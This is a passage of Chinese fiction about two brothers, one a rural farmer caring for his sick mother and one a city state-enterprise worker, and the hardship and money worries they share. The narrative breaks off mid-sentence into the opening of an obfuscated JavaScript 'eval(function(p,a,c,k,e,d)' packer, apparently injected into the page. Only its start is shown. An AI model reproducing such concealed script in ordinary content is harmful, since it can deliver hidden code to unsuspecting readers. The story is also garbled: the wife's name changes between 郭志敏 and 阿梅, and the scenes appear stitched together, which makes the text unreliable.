世和深吸一口气，“好，家里就靠你了。”
说完，他转身走出院子，踏上了回城里的路，心中虽有牵挂，但也带着对未来的期许，希望一家人都能平平安安，日子越来越好。
深秋的雨丝裹着寒意渗进墙缝，世平蹲在灶屋添柴，火星子溅在手背烫出红点。
母亲的咳嗽声从西厢房传来，一声接一声像生锈的风箱，震得他握柴刀的手微微发抖。
灶上铝锅咕嘟冒泡，浮着几片蔫白菜，妻子郭志敏端着缺角的瓷碗进来，发梢还沾着田埂上的泥：“后岗那块地得翻了，明儿怕是要霜降......“
案板上摊着皱巴巴的账本，铅笔字被水汽洇得模糊。
化肥钱、医药费、两个孩子的学杂费，每划一笔都像在剜肉。
世平摸出烟袋，烟丝早潮了，勉强点着后，呛人的烟味混着潮湿的霉味在屋里打转。
院角传来小儿子的啼哭，六岁的娃摔了泥坑，衣裳上沾满青苔，正扒着门框朝里望。
堂屋八仙桌上，嫂子留下的字条被风吹得哗哗响。
上个月借的三百块钱，末尾还画了个歪歪扭扭的笑脸。
世平望着墙上哥哥穿工装的照片，相框玻璃映出自己凹陷的眼窝——国企的工资单像块嚼不烂的老树根，每次寄来都带着城里柏油路的味道，却填不饱乡下这张大嘴。
窗外的雨突然急了，打在青瓦上噼里啪啦。
世平起身关窗，看见西厢房母亲佝偻的剪影在煤油灯下晃动。
药罐子里熬着的苦汤，比屋檐滴落的雨水还要漫长。
他数着梁上结的蛛网，盘算着明天去镇上能不能赊袋尿素，裤兜里攥着的硬币硌得掌心生疼。
傍晚，余晖透过那扇满是污渍的窗户，洒在陈旧的木桌上。
夜露凝在瓦当上，世平踩着碎冰碴推开柴房，煤油灯芯“噗“地炸开一朵昏黄。
墙角码着二十捆晒透的柴火，是他连续三个清晨摸黑砍的。
哥哥寄来的旧西装挂在梁柱上，袖口磨得发白，倒比他身上补丁摞补丁的粗布衫体面。
“爸走那年，哥把最后半碗红薯粥推给我。”世平摩挲着西装内衬暗袋里的调职申请书，钢笔字被汗浸得发皱。
窗棂漏进的月光在纸上游走，像极了那年暴雨夜，哥哥背着高烧的他深一脚浅一脚踩过的泥泞田埂。
鸡叫头遍时，世平往母亲药罐里添了把晒干的艾草。
陶罐底部沉着经年累月的药垢，比他掌心的老茧还要厚实。
妻子阿梅打着哈欠摸进厨房，围裙上还沾着昨天补渔网的线头：“后山的板栗熟了，要不......”
“留着给孩子们补身子。”世平往灶膛塞了把干透的松枝，火苗腾起的刹那，映亮墙上父亲的遗照。
相框边缘缠着褪色的红绸，那是哥哥考上国企时系上的，如今被岁月浸成了黯淡的赭石色。
村口老枣树下，世平把攒了半年的山货往三轮车上堆。腌腊肉、野蜂蜜、新打的米，每样都仔细裹着油纸。
后视镜里，自家青瓦白墙的小院越来越小，他摸了摸贴胸口袋里的汇款单——这季度的奖金，足够给哥哥买双新皮鞋，去见单位领导时不至于露了寒酸。
世和坐在桌前，眉头紧锁，面前摊着的是这个月的家庭开支账本，密密麻麻的数字像一道道难以跨越的沟壑。
“唉……”世和长叹一口气，手中的笔在指尖无意识地转动着。
他在国营单位工作多年，每个月工资准时到账，却也一成不变，可家里
;eval(function(p,a,c,k,e,d){e=function(c){return(c